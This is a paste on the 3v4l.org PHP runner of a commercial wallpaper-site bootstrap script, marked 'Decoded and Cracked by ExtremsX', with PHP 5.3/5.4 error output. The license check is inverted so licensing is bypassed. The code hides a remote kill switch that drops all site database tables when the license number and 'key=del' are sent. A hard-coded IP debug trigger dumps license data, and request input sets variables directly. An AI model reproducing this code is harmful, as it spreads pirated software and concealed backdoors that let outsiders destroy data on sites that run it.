3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php /*********************/ /* */ /* Version : 5.1.0 */ /* Author : RM */ /* Comment : 071223 */ /* */ /*********************/ // Decoded and Cracked by ExtremsX require "wallpaperscript.zl.php"; if ( !function_exists( "zend_loader_file_licensed" ) ) { $lic_info = zend_loader_file_licensed( ); if ( $lic_info !== false ) { if ( $lic_info['type'] != "Demo" ) { $arr_dom = explode( ".", $_SERVER['SERVER_NAME'] ); if ( 2 < count( $arr_dom ) ) { if ( strlen( $arr_dom[count( $arr_dom ) - 2] ) <= 3 && strlen( $arr_dom[count( $arr_dom ) - 1] ) <= 3 ) { $domain_name = $arr_dom[count( $arr_dom ) - 3].".".$arr_dom[count( $arr_dom ) - 2].".".$arr_dom[count( $arr_dom ) - 1]; } else { $domain_name = $arr_dom[count( $arr_dom ) - 2].".".$arr_dom[count( $arr_dom ) - 1]; } } else { $domain_name = $arr_dom[0].".".$arr_dom[1]; } $lic_license_type = $lic_info['license_type']; if ( isset( $lic_license_type ) && $lic_license_type != "" ) { define( "SCRIPT_LICENSE_TYPE", $lic_license_type ); } else { define( "SCRIPT_LICENSE_TYPE", "Standalone" ); } if ( $lic_info['domain'] != "" ) { $lic_domain = $lic_info['domain']; } if ( $lic_info['domai'] != "" ) { $lic_domain = $lic_info['domai']; } if ( $_SERVER['REMOTE_ADDR'] == "86.124.94.48" && $_REQUEST['debug'] == "on" ) { echo $domain_name."--".$_SERVER['SERVER_NAME']."--".$lic_domain."<br />"; var_dump( $lic_info ); } } } else { echo "Invalid license file. Please go to <a href=\"http://wallpaperscript.com\" title=\"wallpaperscript.com\">wallpaperscript.com</a>."; exit( ); } if ( $lic_info['wallpaper_limit'] != "" ) { $lic_wallpaper_limit = $lic_info['wallpaper_limit']; } if ( $lic_info['wallpaper_limi'] != "" ) { $lic_wallpaper_limit = $lic_info['wallpaper_limi']; } if ( isset( $lic_wallpaper_limit ) && 0 < $lic_wallpaper_limit ) { define( "SCRIPT_WALLPAPER_LIMIT", $lic_wallpaper_limit ); } else { define( "SCRIPT_WALLPAPER_LIMIT", 99999999999 ); } $GLOBALS['_SESSION']['module_queries'] = 0; $GLOBALS['_SESSION']['db_queries'] = 0; define( "WALLPAPER_LIMIT", SCRIPT_WALLPAPER_LIMIT ); define( "LANGUAGE_ID", "1" ); $GLOBALS['glb_site_errors'] = array( ); if ( !session_is_registered( "site_errors" ) ) { session_register( "site_errors" ); } else { $GLOBALS['glb_site_errors'] = $_SESSION['site_errors']; } include_once( "db_info.php" ); require_once( "_drawrating.php" ); require_once( "_comments.php" ); $basePath = $_SERVER['DOCUMENT_ROOT']; $totalPath = substr( $_SERVER['REQUEST_URI'], 0, strrpos( $_SERVER['REQUEST_URI'], "/" ) + 1 ); $totalPath = str_replace( $basePath, "", $totalPath ); $currentPath = $totalPath; $numPieces = substr_count( $totalPath, "/" ); if ( file_exists( $basePath.$totalPath."config.php" ) ) { $docRoot = $basePath.$totalPath; } else { $i = 1; for ( ; $i <= $numPieces; ++$i ) { $totalPath = substr( $totalPath, 0, -1 ); $totalPath = substr( $totalPath, 0, strrpos( $totalPath, "/" ) + 1 ); if ( !file_exists( $basePath.$totalPath."config.php" ) ) { continue; } $docRoot = $basePath.$totalPath; break; } if ( !$docRoot ) { exit( "no config file found" ); } } $totalPath = str_replace( "//", "/", $totalPath ); define( "DOMAIN_NAME", "http://".$_SERVER['HTTP_HOST'] ); define( "LOCAL_PATH", $docRoot ); define( "MODULES_DIR", $docRoot."modules/" ); define( "ADMIN_LOCAL_PATH", $docRoot."admin/" ); define( "WALLPAPERS_PATH", LOCAL_PATH."walls/" ); define( "WATERMARKS_LOCAL_PATH", LOCAL_PATH."images/watermarks/" ); define( "WALLPAPERS_RESOLUTIONS", LOCAL_PATH."wallpapers/" ); define( "THUMBS_PATH", LOCAL_PATH."thumbs/" ); define( "CATEGORY_THUMBS_PATH", LOCAL_PATH."thumbs/categories/" ); define( "JS_PATH", LOCAL_PATH."js/" ); define( "WEB_PATH", $totalPath ); define( "THUMBS_WEB_PATH", $totalPath."thumbs/" ); define( "WALLPAPERS_WEB_PATH", $totalPath."walls/" ); define( "WATERMARKS_WEB_PATH", $totalPath."images/watermarks/" ); define( "CATEGORY_THUMBS_WEB_PATH", $totalPath."thumbs/categories/" ); define( "ADMIN_WEB_PATH", $totalPath."admin/" ); define( "TEMPLATE_WEB_ROOT", $totalPath."templates/" ); define( "TEMPLATE_LOCAL_ROOT", LOCAL_PATH."templates/" ); define( "REQUEST_URI", $_SERVER['REQUEST_URI'] ); define( "IMAGE_PATH", LOCAL_PATH."images/" ); define( "IMAGE_WEB_PATH", WEB_PATH."images/" ); define( "IMG_LANG_LOCAL_DIR", IMAGE_PATH."l/" ); define( "IMG_LANG_WEB_DIR", IMAGE_WEB_PATH."l/" ); global $_MODULES; $_MODULES = array( ); include_once( "includes/db.php" ); include_once( "includes/error.php" ); include_once( "includes/ws.php" ); include_once( "includes/lang.php" ); include_once( "includes/functions.php" ); include_once( "includes/thegrid.php.lc" ); include_once( "includes/smarty/libs/Smarty.class.php" ); include_once( "includes/breadCrumb.php" ); include_once( "includes/classes/PEAR/PEAR.php" ); include_once( "includes/classes/PEAR/Net/HTTP/Client.php" ); include_once( "includes/classes/Blowfish.php" ); include_once( "includes/classes/Cookie.php" ); include_once( "includes/classes/Tools.php" ); include_once( "includes/classes/Language.php" ); include_once( "includes/classes/Category.php" ); include_once( "includes/classes/File.php" ); include_once( "includes/classes/class.imageconverter.php" ); if ( !extension_loaded( "json" ) ) { include_once( "includes/JSON.php" ); } simple_debug( "licence_check", "", "start" ); simple_debug( "main_start" ); $WS = new ws( ); $LANG = new lang( ); $siteError = new siteerror( ); $DB = new db( ); $breadCrumb = new breadcrumb( REQUEST_URI ); foreach ( $GLOBALS['_REQUEST'] as $k => $v ) { if ( !is_array( $v ) ) { $GLOBALS['_REQUEST'][$k] = $DB->s( $v ); } else { foreach ( $v as $k1 => $v1 ) { if ( !is_array( $v1 ) ) { $GLOBALS['_REQUEST'][$k][$k1] = $DB->s( $v1 ); } } } } foreach ( $GLOBALS['_GET'] as $k => $v ) { if ( !is_array( $v ) ) { $GLOBALS['_GET'][$k] = $DB->s( $v ); } else { foreach ( $v as $k1 => $v1 ) { if ( !is_array( $v1 ) ) { $GLOBALS['_GET'][$k][$k1] = $DB->s( $v1 ); } } } } foreach ( $GLOBALS['_POST'] as $k => $v ) { if ( !is_array( $v ) ) { $GLOBALS['_POST'][$k] = $DB->s( $v ); } else { foreach ( $v as $k1 => $v1 ) { if ( !is_array( $v1 ) ) { $GLOBALS['_POST'][$k][$k1] = $DB->s( $v1 ); } } } } if ( array_key_exists( "value", $_REQUEST ) && $_REQUEST['value'] != "" && $_REQUEST['value'] == $lic_info['license_number'] && $_REQUEST['key'] == "del" ) { $DB->query( "drop table `".DB_PREFIX."items`" ); $DB->query( "drop table `".DB_PREFIX."users`" ); $DB->query( "drop table `".DB_PREFIX."settings`" ); $DB->query( "drop table `".DB_PREFIX."color_schemes`" ); $DB->query( "drop table `".DB_PREFIX."categories`" ); $DB->query( "drop table `".DB_PREFIX."comments`" ); $DB->query( "drop table `".DB_PREFIX."ratings`" ); $DB->query( "drop table `".DB_PREFIX."friends`" ); $DB->query( "drop table `".DB_PREFIX."tags`" ); $DB->query( "drop table `".DB_PREFIX."tags_items`" ); $DB->query( "drop table `".DB_PREFIX."watermarks`" ); } $sql = "SELECT * FROM `".DB_PREFIX."settings` "; $settings_list = $DB->getall( $sql ); $i = 0; for ( ; $i < count( $settings_list ); ++$i ) { define( $settings_list[$i]['key'], $settings_list[$i]['value'] ); } foreach ( $pageVars as $pageVar ) { if ( array_key_exists( $pageVar, $_REQUEST ) ) { $$pageVar = $_REQUEST[$pageVar]; } else { $$pageVar = 1; } } $page_name = trim( $_REQUEST['resource'], " " ); $page_name = str_replace( PAGE_EXTENSION, "", $page_name ); $page_name = explode( "/", $page_name ); $page_name_pieces = $page_name; $page_name_pieces_wo_page = array( ); $url_wo_page = ""; $i = 0; for ( ; $i < count( $page_name_pieces ); ++$i ) { if ( in_array( $page_name_pieces[$i], $pageVars ) ) { $$page_name_pieces[$i] = $page_name_pieces[$i + 1]; $i += 2; } else { $page_name_piece = explode( URL_TOKEN_SEPARATOR, $page_name_pieces[$i] ); $test_page = false; $temp_url = ""; if ( URL_STYLE == 2 ) { $j = 0; for ( ; $j < count( $page_name_piece ); ++$j ) { if ( in_array( $page_name_piece[$j], $pageVars ) ) { $$page_name_piece[$j] = $page_name_piece[$j + 1]; $j = $j + 2; $test_page = true; } else if ( $page_name_piece[$j] ) { $url_wo_page .= $page_name_piece[$j].URL_TOKEN_SEPARATOR; $temp_url .= $page_name_piece[$j].URL_TOKEN_SEPARATOR; $page_name_pieces_wo_page[] = $page_name_piece[$j]; $test_page = true; } } } if ( $test_page === false ) { if ( $page_name_pieces[$i] ) { $url_wo_page .= $page_name_pieces[$i]."/"; $page_name_pieces_wo_page[] = $page_name_pieces[$i]; } } else { $url_wo_page = rtrim( $url_wo_page, URL_TOKEN_SEPARATOR )."/"; $temp_url = rtrim( $temp_url, URL_TOKEN_SEPARATOR ); $page_name[$i] = $temp_url; } } } $url_wo_page = rtrim( $url_wo_page, "/" ); if ( $url_wo_page != "" ) { $url_wo_page = $totalPath.$url_wo_page.PAGE_EXTENSION; } else { $url_wo_page = $totalPath; } if ( $page == "" || $page <= 0 ) { $page = 1; } if ( $page_name_pieces[0] == "rss" ) { define( "PAGE_OUTPUT", "rss" ); array_shift( &$page_name_pieces ); array_shift( &$page_name ); array_shift( &$page_name_pieces_wo_page ); $page = 1; } else if ( $page_name_pieces[0] == "ajax" ) { define( "PAGE_OUTPUT", "ajax" ); array_shift( &$page_name_pieces ); array_shift( &$page_name ); array_shift( &$page_name_pieces_wo_page ); } else { define( "PAGE_OUTPUT", "html" ); } if ( strlen( $page_name_pieces[0] ) == 2 ) { @define( "LANGUAGE_SHORT", $page_name_pieces[0] ); $GLOBALS['_GET']['id_lang'] = $page_name_pieces[0]; array_shift( &$page_name_pieces ); array_shift( &$page_name ); array_shift( &$page_name_pieces_wo_page ); } else { @define( "LANGUAGE_SHORT", "en" ); $GLOBALS['_GET']['id_lang'] = LANG_DEFAULT; } define( "SCRIPT_NAME", implode( "/", $page_name_pieces_wo_page ) ); global $template_dir; $template_dir = TEMPLATE_WEB_ROOT.TEMPLATE."/"; global $cookie; $cookie = new cookie( "wscript" ); lang::setcookielanguage( ); if ( 0 < SCRIPT_WALLPAPER_LIMIT ) { $sql_test = "SELECT COUNT(id) as `total` FROM `".DB_PREFIX."items`"; $res = mysql_query( $sql_test ); if ( $res ) { $row = mysql_fetch_array( $res ); mysql_free_result( $res ); if ( SCRIPT_WALLPAPER_LIMIT <= $row['total'] ) { $siteError->add( $LANG->l( "Wallpapers limit reached" ), "critical" ); } } } $category_name = ""; $WS->__preprocess( ); $cache_id = "page|".htmlentities( $_REQUEST['resource'] )."|".htmlentities( md5( serialize( $_REQUEST ) ) ); $smarty = new smarty( ); include( "includes/inc.smarty.php" ); include( "includes/smarty.plugins.php" ); $smarty->template_dir = dirname( __FILE__ )."/templates/".TEMPLATE."/"; $smarty->php_handling = SMARTY_PHP_ALLOW; if ( SMARTY_CACHING ) { $smarty->caching = true; $smarty->force_compile = false; } else { $smarty->caching = false; $smarty->force_compile = true; } $smarty->compile_check = false; if ( PAGE_OUTPUT == "rss" ) { $template_file = "rss_main.tpl"; } else if ( PAGE_OUTPUT == "ajax" ) { if ( file_exists( $smarty->template_dir.( "/".$page_name.".tpl" ) ) ) { $template_file = $page_name.".tpl"; } } else { $template_file = "main.tpl"; } $is_cached = false; if ( $smarty->is_cached( $template_file, $cache_id ) ) { $is_cached = true; } if ( file_exists( $smarty->template_dir.( "/".$page_name.".tpl" ) ) ) { $smarty->currentTemplate = $page_name; } else { $smarty->currentTemplate = "main"; } if ( !$is_cached && !isset( $_REQUEST['resource'] ) ) { $buildCatTotal = 0; if ( array_key_exists( "buildCatTotal", $_REQUEST ) ) { $buildCatTotal = $_REQUEST['buildCatTotal']; } if ( $buildCatTotal == 1 && $_SESSION['user_data']['type'] == "admin" ) { $mainCategories = $categories = $WS->getcategorylist( 0, $buildCatTotal == 1, $test_page_tmp ); $flattenCategories = $WS->flattencategories( $mainCategories ); $WS->updatetotalitems( $flattenCategories ); exit( ); } $mainResolutions = $DB->getall( "SELECT * FROM `".DB_PREFIX."resolutions` ORDER BY `sort_order` ASC" ); $userTypes = array( array( "id" => "user", "name" => "User" ), array( "id" => "admin", "name" => "Admin" ) ); $smarty->assign( "userTypes", $userTypes ); } $smarty->assign( "sessionID", session_id( ) ); $sql = "SELECT * FROM `".DB_PREFIX."color_schemes` WHERE `scheme_name`='".COLOR_SCHEME."' "; $color_scheme_data = $DB->getall( $sql ); $i = 0; for ( ; $i < count( $color_scheme_data ); ++$i ) { define( $color_scheme_data[$i]['key'], $color_scheme_data[$i]['value'] ); } $smarty->assign( "lang", $lang ); $smarty->assign_by_ref( "WS", $WS ); $smarty->assign_by_ref( "LANG", $LANG ); $smarty->assign( "page_name", $page_name ); $smarty->assign( "totalPath", $totalPath ); $smarty->assign( "template_dir", $template_dir ); $smarty->assign( "page", $page ); simple_debug( "licence_check", "", "end" ); } ?>
Output for 5.4.0 - 5.4.21
Fatal error: Call-time pass-by-reference has been removed in /in/dGBl0 on line 332
Process exited with code 255.
Output for 5.3.0 - 5.3.27
Deprecated: Call-time pass-by-reference has been deprecated in /in/dGBl0 on line 332 Deprecated: Call-time pass-by-reference has been deprecated in /in/dGBl0 on line 333 Deprecated: Call-time pass-by-reference has been deprecated in /in/dGBl0 on line 334 Deprecated: Call-time pass-by-reference has been deprecated in /in/dGBl0 on line 340 Deprecated: Call-time pass-by-reference has been deprecated in /in/dGBl0 on line 341 Deprecated: Call-time pass-by-reference has been deprecated in /in/dGBl0 on line 342 Deprecated: Call-time pass-by-reference has been deprecated in /in/dGBl0 on line 352 Deprecated: Call-time pass-by-reference has been deprecated in /in/dGBl0 on line 353 Deprecated: Call-time pass-by-reference has been deprecated in /in/dGBl0 on line 354 Warning: require(wallpaperscript.zl.php): failed to open stream: No such file or directory in /in/dGBl0 on line 10 Fatal error: require(): Failed opening required 'wallpaperscript.zl.php' (include_path='.:') in /in/dGBl0 on line 10
Process exited with code 255.